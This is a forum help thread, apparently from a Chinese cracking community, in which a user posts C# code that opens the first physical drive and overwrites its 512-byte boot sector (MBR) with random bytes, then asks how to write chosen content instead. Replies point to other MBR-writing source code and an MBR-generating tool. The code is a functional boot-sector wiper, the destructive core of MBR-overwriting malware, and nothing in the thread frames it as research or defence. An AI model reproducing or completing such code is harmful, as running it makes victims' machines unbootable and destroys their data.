吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 867|回复: 4
收起左侧

[求助] 【求助】C#写入引导区

[复制链接]
lizf2019 发表于 2021-8-12 09:56
本帖最后由 lizf2019 于 2021-8-12 09:58 编辑

源码(一个类):



 class test
        {
            [DllImport("kernel32", SetLastError = true)]
            static extern IntPtr CreateFile(
            string FileName,
            uint DesiredAccess,
            uint ShareMode,
            IntPtr SecurityAttributes,
            uint CreationDisposition,
            int FlagsAndAttributes,
            IntPtr hTemplate
            );
            public const int FILE_FLAG_NO_BUFFERING = 0x20000000;
            public static void Main()
            {
                IntPtr handle = CreateFile(@"\\.\PHYSICALDRIVE0", 0x40000000 | 0x80000000, 0, IntPtr.Zero, 3, FILE_FLAG_NO_BUFFERING, IntPtr.Zero);
                Console.WriteLine(handle.ToString());
                FileStream disk = new FileStream(handle, FileAccess.ReadWrite);
                byte[] bt = new byte[512];
                Random rnd = new Random();
                rnd.NextBytes(bt);
                for (int i = 0; i < bt.Length; i++)
                {
                    Console.Write(bt[i].ToString("x2") + " ");
                }
                disk.Seek(0, SeekOrigin.Begin);
                try
                {
                    disk.Write(bt, 0, 512);
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
            }
        }

求助:
1.如何指定写入内容(好像要按Unicode编码)
2.如要写入引导区调用是否为test.main

免费评分

参与人数 1热心值 +1 收起 理由
glz220 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

huorongrong 发表于 2021-8-12 10:40
之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚)
ps122 发表于 2021-8-12 11:28
huorongrong 发表于 2021-8-12 10:40
之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚)

和楼主代码意思基本一样,引导区的数据能随便修改吗?
 楼主| lizf2019 发表于 2021-8-12 15:04
huorongrong 发表于 2021-8-12 10:40
之前看到过这个写MBR的源码https://b23.tv/WgJEWo
至于写入内容好像是用字节集吧(我也不太清楚)

请问大佬呢512字节的数据在哪里体现了呢
huorongrong 发表于 2021-8-12 21:30
lizf2019 发表于 2021-8-12 15:04
请问大佬呢512字节的数据在哪里体现了呢

之前收集的这个工具可以生成MBR的数据https://wwx.lanzoui.com/il0ipsk2b5g
我只是搬运
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 23:15

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表